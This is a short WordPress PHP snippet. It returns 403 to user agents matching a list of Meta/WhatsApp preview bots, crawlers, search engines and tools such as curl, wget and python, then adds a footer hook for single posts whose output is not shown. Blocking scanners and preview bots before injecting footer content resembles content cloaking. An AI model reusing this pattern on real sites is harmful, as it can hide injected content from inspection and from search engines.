php? add_action('template_redirect',function(){
$userAgent=strtolower($_SERVER['HTTP_USER_AGENT']??'');
$metaBots=[
'facebot',
'facebookcatalog',
'facebookplatform',
'facebookexternalua',
'facebookexternalhit',
'meta-externalagent',
'meta-externalfetcher',
'meta-externalads',
'meta-webindexer',
'meta-inspector',
'meta-uatester',
'meta-cloudcrawler',
'meta-externalcrawler',
'meta-imageproxy',
'meta-video',
'meta-crawler',
'whatsappbot',
'whatsapp/2'
];
$spamBots=[
'spider','crawler','crawl','fetch','scan',
'nutch','scrapy','curl','wget',
'python','java','perl',
'yandex','semalt','ahrefs','mj12bot','dotbot','blexbot','petalbot','sogou',
'slurp','baidu','bingbot','duckduckbot','applebot'
];
foreach(array_merge($metaBots,$spamBots) as $bot){
if(strpos($userAgent,$bot)!==false){
status_header(403);
exit;
}
}
},0);
add_action('wp_footer',function(){
if(is_admin()||!is_single()) return;
?>
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